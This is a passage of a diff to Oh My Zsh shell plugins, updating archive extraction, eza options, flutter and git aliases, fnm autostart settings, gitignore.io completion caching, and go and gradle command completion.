|
# add a random string to the end of the extract directory
|
||||||
if [[ -e "$extract_dir" ]]; then
|
if [[ -e "$extract_dir" ]]; then
|
||||||
@@ -71,7 +102,7 @@ EOF
|
|||||||
(*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
|
(*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
|
||||||
(*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
|
(*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
|
||||||
(*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
|
(*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
|
||||||
(*.xz) unxz "$full_path" ;;
|
(*.xz) xzcat "$full_path" > "${file:t:r}" ;;
|
||||||
(*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
|
(*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
|
||||||
(*.lz4) lz4 -d "$full_path" ;;
|
(*.lz4) lz4 -d "$full_path" ;;
|
||||||
(*.lzma) unlzma "$full_path" ;;
|
(*.lzma) unlzma "$full_path" ;;
|
||||||
@@ -126,7 +157,7 @@ EOF
|
|||||||
# 1. Move and rename the extracted file/folder to a temporary random name
|
# 1. Move and rename the extracted file/folder to a temporary random name
|
||||||
# 2. Delete the empty folder
|
# 2. Delete the empty folder
|
||||||
# 3. Rename the extracted file/folder to the original name
|
# 3. Rename the extracted file/folder to the original name
|
||||||
if [[ "${content[1]:t}" == "$extract_dir" ]]; then
|
if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
|
||||||
# =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
|
# =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
|
||||||
local tmp_name==(:); tmp_name="${tmp_name:t}"
|
local tmp_name==(:); tmp_name="${tmp_name:t}"
|
||||||
command mv "${content[1]}" "$tmp_name" \
|
command mv "${content[1]}" "$tmp_name" \
|
||||||
@@ -134,9 +165,9 @@ EOF
|
|||||||
&& command mv "$tmp_name" "$extract_dir"
|
&& command mv "$tmp_name" "$extract_dir"
|
||||||
# Otherwise, if the extracted folder name already exists in the current
|
# Otherwise, if the extracted folder name already exists in the current
|
||||||
# directory (because of a previous file / folder), keep the extract_dir
|
# directory (because of a previous file / folder), keep the extract_dir
|
||||||
elif [[ ! -e "${content[1]:t}" ]]; then
|
elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
|
||||||
command mv "${content[1]}" . \
|
command mv -- "${content[1]}" "${target_directory:-.}/" \
|
||||||
&& command rmdir "$extract_dir"
|
&& command rmdir -- "$extract_dir"
|
||||||
fi
|
fi
|
||||||
elif [[ ${#content} -eq 0 ]]; then
|
elif [[ ${#content} -eq 0 ]]; then
|
||||||
command rmdir "$extract_dir"
|
command rmdir "$extract_dir"
|
||||||
|
|||||||
@@ -48,10 +48,11 @@ Default: `no`
|
|||||||
### `show-group`
|
### `show-group`
|
||||||
|
|
||||||
```zsh
|
```zsh
|
||||||
zstyle ':omz:plugins:eza' 'show-group' yes|no
|
zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
|
||||||
```
|
```
|
||||||
|
|
||||||
If `yes` (default), always add `-g` flag to show the group ownership.
|
If `yes` (default), always add `-g` flag to show the group ownership.
|
||||||
|
If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.
|
||||||
|
|
||||||
Default: `yes`
|
Default: `yes`
|
||||||
|
|
||||||
|
|||||||
@@ -9,9 +9,15 @@ typeset -a _EZA_TAIL
|
|||||||
function _configure_eza() {
|
function _configure_eza() {
|
||||||
local _val
|
local _val
|
||||||
# Get the head flags
|
# Get the head flags
|
||||||
if zstyle -T ':omz:plugins:eza' 'show-group'; then
|
zstyle -s ':omz:plugins:eza' 'show-group' _val
|
||||||
_EZA_HEAD+=("g")
|
case "${_val:l}" in
|
||||||
fi
|
yes)
|
||||||
|
_EZA_HEAD+=("g")
|
||||||
|
;;
|
||||||
|
smart)
|
||||||
|
_EZA_TAIL+=("--smart-group")
|
||||||
|
;;
|
||||||
|
esac
|
||||||
if zstyle -t ':omz:plugins:eza' 'header'; then
|
if zstyle -t ':omz:plugins:eza' 'header'; then
|
||||||
_EZA_HEAD+=("h")
|
_EZA_HEAD+=("h")
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -13,16 +13,20 @@ plugins=(... flutter)
|
|||||||
| Alias | Command | Description |
|
| Alias | Command | Description |
|
||||||
| :--------- | :---------------------- | :------------------------------------------------------------------------- |
|
| :--------- | :---------------------- | :------------------------------------------------------------------------- |
|
||||||
| `fl` | `flutter` | Shorthand for flutter command |
|
| `fl` | `flutter` | Shorthand for flutter command |
|
||||||
|
| `fla` | `flutter analyze` | Analyzes flutter code |
|
||||||
| `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory |
|
| `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory |
|
||||||
| `flb` | `flutter build` | Build flutter application |
|
| `flb` | `flutter build` | Build flutter application |
|
||||||
| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
|
|
||||||
| `flc` | `flutter clean` | Cleans flutter project |
|
| `flc` | `flutter clean` | Cleans flutter project |
|
||||||
| `fldvcs` | `flutter devices` | List connected devices (if any) |
|
| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) |
|
||||||
| `fldoc` | `flutter doctor` | Runs flutter doctor |
|
| `fldoc` | `flutter doctor` | Runs flutter doctor |
|
||||||
| `flpub` | `flutter pub` | Shorthand for flutter pub command |
|
| `fldvcs` | `flutter devices` | List connected devices (if any) |
|
||||||
| `flget` | `flutter pub get` | Installs dependencies |
|
| `flget` | `flutter pub get` | Installs dependencies |
|
||||||
|
| `fll` | `flutter logs` | Shows flutter logs |
|
||||||
|
| `flpu` | `flutter pub upgrade` | Upgrades dependencies |
|
||||||
|
| `flpub` | `flutter pub` | Shorthand for flutter pub command |
|
||||||
| `flr` | `flutter run` | Runs flutter app |
|
| `flr` | `flutter run` | Runs flutter app |
|
||||||
| `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) |
|
| `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) |
|
||||||
| `flrp` | `flutter run --profile` | Runs flutter app in profile mode |
|
| `flrp` | `flutter run --profile` | Runs flutter app in profile mode |
|
||||||
| `flrr` | `flutter run --release` | Runs flutter app in release mode |
|
| `flrr` | `flutter run --release` | Runs flutter app in release mode |
|
||||||
| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel |
|
| `flt` | `flutter test` | Runs flutter tests |
|
||||||
|
| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel |
|
||||||
@@ -1,16 +1,20 @@
|
|||||||
alias fl="flutter"
|
alias fl="flutter"
|
||||||
|
alias fla="flutter analyze"
|
||||||
alias flattach="flutter attach"
|
alias flattach="flutter attach"
|
||||||
alias flb="flutter build"
|
alias flb="flutter build"
|
||||||
alias flchnl="flutter channel"
|
|
||||||
alias flc="flutter clean"
|
alias flc="flutter clean"
|
||||||
alias fldvcs="flutter devices"
|
alias flchnl="flutter channel"
|
||||||
alias fldoc="flutter doctor"
|
alias fldoc="flutter doctor"
|
||||||
alias flpub="flutter pub"
|
alias fldvcs="flutter devices"
|
||||||
alias flget="flutter pub get"
|
alias flget="flutter pub get"
|
||||||
|
alias fll="flutter logs"
|
||||||
|
alias flpu="flutter pub upgrade"
|
||||||
|
alias flpub="flutter pub"
|
||||||
alias flr="flutter run"
|
alias flr="flutter run"
|
||||||
alias flrd="flutter run --debug"
|
alias flrd="flutter run --debug"
|
||||||
alias flrp="flutter run --profile"
|
alias flrp="flutter run --profile"
|
||||||
alias flrr="flutter run --release"
|
alias flrr="flutter run --release"
|
||||||
|
alias flt="flutter test"
|
||||||
alias flupgrd="flutter upgrade"
|
alias flupgrd="flutter upgrade"
|
||||||
|
|
||||||
# COMPLETION FUNCTION
|
# COMPLETION FUNCTION
|
||||||
|
|||||||
+27
-1
@@ -2,8 +2,34 @@
|
|||||||
|
|
||||||
This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
|
This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
|
||||||
|
|
||||||
To use it, add `fnm` to the plugins array in your zshrc file:
|
To use it, add `fnm` to the plugins array in your `.zshrc` file:
|
||||||
|
|
||||||
```zsh
|
```zsh
|
||||||
plugins=(... fnm)
|
plugins=(... fnm)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
|
||||||
|
|
||||||
|
### Autostart
|
||||||
|
|
||||||
|
If set, the plugin will automatically start fnm for the session, running the `fnm env`:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
zstyle ':omz:plugins:fnm' autostart yes
|
||||||
|
```
|
||||||
|
|
||||||
|
Default: `no` (disabled)
|
||||||
|
|
||||||
|
### Use on cd
|
||||||
|
|
||||||
|
If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
zstyle ':omz:plugins:fnm' use-on-cd yes
|
||||||
|
```
|
||||||
|
|
||||||
|
Default: `yes` (enabled)
|
||||||
|
|
||||||
|
Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.
|
||||||
|
|||||||
@@ -11,3 +11,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
|
fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
|
||||||
|
|
||||||
|
if zstyle -t ':omz:plugins:fnm' autostart; then
|
||||||
|
local -a fnm_env_cmd
|
||||||
|
if zstyle -T ':omz:plugins:fnm' use-on-cd; then
|
||||||
|
fnm_env_cmd+=("--use-on-cd")
|
||||||
|
fi
|
||||||
|
eval "$(fnm env --shell=zsh $fnm_env_cmd)"
|
||||||
|
fi
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ plugins=(... git)
|
|||||||
| `gbgD` | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D` |
|
| `gbgD` | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D` |
|
||||||
| `gbm` | `git branch --move` |
|
| `gbm` | `git branch --move` |
|
||||||
| `gbnm` | `git branch --no-merged` |
|
| `gbnm` | `git branch --no-merged` |
|
||||||
| `gbr` | `git branch --remote` |
|
| `gbr` | `git branch --remotes` |
|
||||||
| `ggsup` | `git branch --set-upstream-to=origin/$(git_current_branch)` |
|
| `ggsup` | `git branch --set-upstream-to=origin/$(git_current_branch)` |
|
||||||
| `gbg` | `LANG=C git branch -vv \| grep ": gone\]"` |
|
| `gbg` | `LANG=C git branch -vv \| grep ": gone\]"` |
|
||||||
| `gco` | `git checkout` |
|
| `gco` | `git checkout` |
|
||||||
@@ -181,6 +181,8 @@ plugins=(... git)
|
|||||||
| `grst` | `git restore --staged` |
|
| `grst` | `git restore --staged` |
|
||||||
| `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` |
|
| `gunwip` | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1` |
|
||||||
| `grev` | `git revert` |
|
| `grev` | `git revert` |
|
||||||
|
| `greva` | `git revert --abort` |
|
||||||
|
| `grevc` | `git revert --continue` |
|
||||||
| `grm` | `git rm` |
|
| `grm` | `git rm` |
|
||||||
| `grmc` | `git rm --cached` |
|
| `grmc` | `git rm --cached` |
|
||||||
| `gcount` | `git shortlog --summary -n` |
|
| `gcount` | `git shortlog --summary -n` |
|
||||||
@@ -215,6 +217,7 @@ plugins=(... git)
|
|||||||
| `gunignore` | `git update-index --no-assume-unchanged` |
|
| `gunignore` | `git update-index --no-assume-unchanged` |
|
||||||
| `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` |
|
| `gwch` | `git log --patch --abbrev-commit --pretty=medium --raw` |
|
||||||
| `gwt` | `git worktree` |
|
| `gwt` | `git worktree` |
|
||||||
|
| `gwta` | `git worktree add` |
|
||||||
| `gwtls` | `git worktree list` |
|
| `gwtls` | `git worktree list` |
|
||||||
| `gwtmv` | `git worktree move` |
|
| `gwtmv` | `git worktree move` |
|
||||||
| `gwtrm` | `git worktree remove` |
|
| `gwtrm` | `git worktree remove` |
|
||||||
|
|||||||
@@ -153,7 +153,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
|
|||||||
alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
|
alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
|
||||||
alias gbm='git branch --move'
|
alias gbm='git branch --move'
|
||||||
alias gbnm='git branch --no-merged'
|
alias gbnm='git branch --no-merged'
|
||||||
alias gbr='git branch --remote'
|
alias gbr='git branch --remotes'
|
||||||
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
|
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
|
||||||
alias gbg='LANG=C git branch -vv | grep ": gone\]"'
|
alias gbg='LANG=C git branch -vv | grep ": gone\]"'
|
||||||
alias gco='git checkout'
|
alias gco='git checkout'
|
||||||
|
|||||||
@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
|
|||||||
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
||||||
upstream="$upstream \${__git_ps1_upstream_name}"
|
upstream="$upstream \${__git_ps1_upstream_name}"
|
||||||
else
|
else
|
||||||
upstream="$upstream ${__git_ps1_upstream_name}"
|
upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
|
||||||
# not needed anymore; keep user's
|
# not needed anymore; keep user's
|
||||||
# environment clean
|
# environment clean
|
||||||
unset __git_ps1_upstream_name
|
unset __git_ps1_upstream_name
|
||||||
@@ -570,6 +570,9 @@ __git_ps1 ()
|
|||||||
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
|
||||||
__git_ps1_branch_name=$b
|
__git_ps1_branch_name=$b
|
||||||
b="\${__git_ps1_branch_name}"
|
b="\${__git_ps1_branch_name}"
|
||||||
|
else
|
||||||
|
# escape % in branch name to avoid prompt expansion issues
|
||||||
|
b="${b//\%/%%}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
|
if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then
|
||||||
|
|||||||
@@ -10,12 +10,48 @@ function gi() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_gitignoreio_get_command_list() {
|
_gitignoreio_get_command_list() {
|
||||||
|
setopt local_options pipe_fail
|
||||||
_gi_curl "list" | tr "," "\n"
|
_gi_curl "list" | tr "," "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
_gitignoreio () {
|
__gitignoreio_caching_policy() {
|
||||||
compset -P '*,'
|
local -a oldp
|
||||||
compadd -S '' $(_gitignoreio_get_command_list)
|
oldp=("$1"(Nm+7))
|
||||||
|
(($#oldp))
|
||||||
}
|
}
|
||||||
|
|
||||||
compdef _gitignoreio gi
|
_gitignoreio_retrieve_stale_cache() {
|
||||||
|
zstyle -t ":completion:${curcontext}:" use-cache || return 1
|
||||||
|
|
||||||
|
local cache_dir
|
||||||
|
zstyle -s ":completion:${curcontext}:" cache-path cache_dir
|
||||||
|
: ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
|
||||||
|
|
||||||
|
[[ -e "$cache_dir/gi-list" ]] || return 1
|
||||||
|
. "$cache_dir/gi-list"
|
||||||
|
}
|
||||||
|
|
||||||
|
_gitignoreio() {
|
||||||
|
compset -P '*,'
|
||||||
|
|
||||||
|
local cache_policy
|
||||||
|
zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
|
||||||
|
if [[ -z "$cache_policy" ]]; then
|
||||||
|
zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
|
||||||
|
fi
|
||||||
|
|
||||||
|
local -a _gi_list
|
||||||
|
if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
|
||||||
|
local command_list
|
||||||
|
if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
|
||||||
|
_gi_list=(${(f)command_list})
|
||||||
|
_store_cache gi-list _gi_list
|
||||||
|
else
|
||||||
|
_gitignoreio_retrieve_stale_cache
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
compadd -S '' -a _gi_list
|
||||||
|
}
|
||||||
|
|
||||||
|
compdef _gitignoreio gi
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:
|
|||||||
|
|
||||||
1. Using a function wrapper, such that, for example, there exists a function
|
1. Using a function wrapper, such that, for example, there exists a function
|
||||||
named `ls` which calls `gls` instead. Since functions have a higher preference
|
named `ls` which calls `gls` instead. Since functions have a higher preference
|
||||||
than commands, this ends up calling the GNU coreutil. It has also a higher
|
than commands, this ends up calling the GNU coreutils. It has also a higher
|
||||||
preference over shell builtins (`gecho` is called instead of the builtin `echo`).
|
preference over shell builtins (`gecho` is called instead of the builtin `echo`).
|
||||||
|
|
||||||
2. Using an alias. This has an even higher preference than functions, but they
|
2. Using an alias. This has an even higher preference than functions, but they
|
||||||
|
|||||||
+47
-1
@@ -15,6 +15,52 @@ __go_identifiers() {
|
|||||||
compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
|
compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
__go_tool_commands() {
|
||||||
|
local -a tools tool_commands
|
||||||
|
local -A command_seen short_count
|
||||||
|
local tool command
|
||||||
|
|
||||||
|
tools=("${(@f)$(go tool 2>/dev/null)}")
|
||||||
|
|
||||||
|
# Go 1.24+ lists module tools by package path, but also accepts unique
|
||||||
|
# default binary names for those tools.
|
||||||
|
for tool in "${tools[@]}"; do
|
||||||
|
[[ -n $tool ]] || continue
|
||||||
|
|
||||||
|
(( command_seen[$tool]++ ))
|
||||||
|
|
||||||
|
if [[ $tool == */* ]]; then
|
||||||
|
command=${tool:t}
|
||||||
|
|
||||||
|
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
|
||||||
|
command=${${tool%/$command}:t}
|
||||||
|
fi
|
||||||
|
|
||||||
|
(( short_count[$command]++ ))
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
for tool in "${tools[@]}"; do
|
||||||
|
[[ -n $tool ]] || continue
|
||||||
|
|
||||||
|
tool_commands+=("$tool")
|
||||||
|
|
||||||
|
if [[ $tool == */* ]]; then
|
||||||
|
command=${tool:t}
|
||||||
|
|
||||||
|
if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
|
||||||
|
command=${${tool%/$command}:t}
|
||||||
|
fi
|
||||||
|
|
||||||
|
if (( short_count[$command] == 1 && ! command_seen[$command] )); then
|
||||||
|
tool_commands+=("$command")
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
_values "go tool" "${tool_commands[@]}"
|
||||||
|
}
|
||||||
|
|
||||||
_go() {
|
_go() {
|
||||||
typeset -a commands build_flags
|
typeset -a commands build_flags
|
||||||
commands+=(
|
commands+=(
|
||||||
@@ -208,7 +254,7 @@ _go() {
|
|||||||
;;
|
;;
|
||||||
tool)
|
tool)
|
||||||
if (( CURRENT == 3 )); then
|
if (( CURRENT == 3 )); then
|
||||||
_values "go tool" $(go tool)
|
__go_tool_commands
|
||||||
return
|
return
|
||||||
fi
|
fi
|
||||||
case ${words[3]} in
|
case ${words[3]} in
|
||||||
|
|||||||
+142
-120
@@ -34,18 +34,16 @@ __gradle-set-build-file() {
|
|||||||
|
|
||||||
local default_gradle_build_file_name="build.gradle"
|
local default_gradle_build_file_name="build.gradle"
|
||||||
if [[ -r $gradle_settings_file ]]; then
|
if [[ -r $gradle_settings_file ]]; then
|
||||||
default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
|
local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
|
||||||
sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
|
sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
|
||||||
|
|
||||||
default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}"
|
default_gradle_build_file_name="${build_file_name:-build.gradle}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
|
gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
|
||||||
if [[ ! -f $default_gradle_build_file ]]; then
|
if [[ ! -f $gradle_build_file ]]; then
|
||||||
default_gradle_build_file="$project_root_dir/build.gradle.kts"
|
gradle_build_file="$project_root_dir/build.gradle.kts"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
gradle_build_file=$default_gradle_build_file
|
|
||||||
}
|
}
|
||||||
|
|
||||||
__gradle-set-cache-name() {
|
__gradle-set-cache-name() {
|
||||||
@@ -214,6 +212,7 @@ __gradle_subcommand() {
|
|||||||
'--dsl=[Set the build script DSL to be used in generated scripts.]' \
|
'--dsl=[Set the build script DSL to be used in generated scripts.]' \
|
||||||
'--incubating[Allow the generated build to use new features and APIs.]' \
|
'--incubating[Allow the generated build to use new features and APIs.]' \
|
||||||
'--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
|
'--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
|
||||||
|
'--into=[Set the directory where the project is generated.]' \
|
||||||
'--java-version=[Provides java version to use in the project.]' \
|
'--java-version=[Provides java version to use in the project.]' \
|
||||||
'--overwrite[Allow existing files in the build directory to be overwritten?]' \
|
'--overwrite[Allow existing files in the build directory to be overwritten?]' \
|
||||||
'--package=[Set the package for source files.]' \
|
'--package=[Set the package for source files.]' \
|
||||||
@@ -228,6 +227,7 @@ __gradle_subcommand() {
|
|||||||
'--all[Show additional tasks and detail.]' \
|
'--all[Show additional tasks and detail.]' \
|
||||||
'--group=[Show tasks for a specific group.]' \
|
'--group=[Show tasks for a specific group.]' \
|
||||||
'--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
|
'--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
|
||||||
|
'--provenance[Show task provenance information]' \
|
||||||
'--types[Show task class types]' && ret=0
|
'--types[Show task class types]' && ret=0
|
||||||
;;
|
;;
|
||||||
(test)
|
(test)
|
||||||
@@ -245,11 +245,15 @@ __gradle_subcommand() {
|
|||||||
'--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
|
'--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
|
||||||
'--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
|
'--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
|
||||||
'--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
|
'--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
|
||||||
|
'--retries=[The number of download retries.]' \
|
||||||
|
'--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
|
||||||
'--validate-url[Sets task to validate the configured distribution url.]' && ret=0
|
'--validate-url[Sets task to validate the configured distribution url.]' && ret=0
|
||||||
;;
|
;;
|
||||||
(*)
|
(*)
|
||||||
_arguments -C \
|
_arguments -C \
|
||||||
'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories' \
|
'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
|
||||||
|
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
|
||||||
|
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
|
||||||
'-Dorg.gradle.caching.debug=[]' \
|
'-Dorg.gradle.caching.debug=[]' \
|
||||||
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
|
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
|
||||||
'-Dorg.gradle.configuration-cache.entries-per-key=[]' \
|
'-Dorg.gradle.configuration-cache.entries-per-key=[]' \
|
||||||
@@ -260,24 +264,26 @@ __gradle_subcommand() {
|
|||||||
'-Dorg.gradle.configuration-cache.integrity-check=[]' \
|
'-Dorg.gradle.configuration-cache.integrity-check=[]' \
|
||||||
'-Dorg.gradle.configuration-cache.max-problems=[]' \
|
'-Dorg.gradle.configuration-cache.max-problems=[]' \
|
||||||
'-Dorg.gradle.configuration-cache.parallel=[]' \
|
'-Dorg.gradle.configuration-cache.parallel=[]' \
|
||||||
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn)' \
|
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
|
||||||
'-Dorg.gradle.configuration-cache.read-only=[]' \
|
'-Dorg.gradle.configuration-cache.read-only=[]' \
|
||||||
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
|
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
|
||||||
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||||
'-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
|
'-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
|
||||||
'-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
|
'-Dorg.gradle.console.interactive=[]' \
|
||||||
'-Dorg.gradle.continue=[Continue task execution after a task failure.]' \
|
'-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
|
||||||
|
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
|
||||||
|
'-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
|
||||||
'-Dorg.gradle.continuous.quietperiod=[]' \
|
'-Dorg.gradle.continuous.quietperiod=[]' \
|
||||||
'-Dorg.gradle.daemon.healthcheckinterval=[]' \
|
'-Dorg.gradle.daemon.healthcheckinterval=[]' \
|
||||||
'-Dorg.gradle.daemon.idletimeout=[]' \
|
'-Dorg.gradle.daemon.idletimeout=[]' \
|
||||||
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
|
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
|
||||||
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
|
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||||
'-Dorg.gradle.debug.host=[]' \
|
'-Dorg.gradle.debug.host=[]' \
|
||||||
'-Dorg.gradle.debug.port=[]' \
|
'-Dorg.gradle.debug.port=[]' \
|
||||||
'-Dorg.gradle.debug.server=[]' \
|
'-Dorg.gradle.debug.server=[]' \
|
||||||
'-Dorg.gradle.debug.suspend=[]' \
|
'-Dorg.gradle.debug.suspend=[]' \
|
||||||
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
|
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
|
||||||
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
|
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
|
||||||
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
|
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
|
||||||
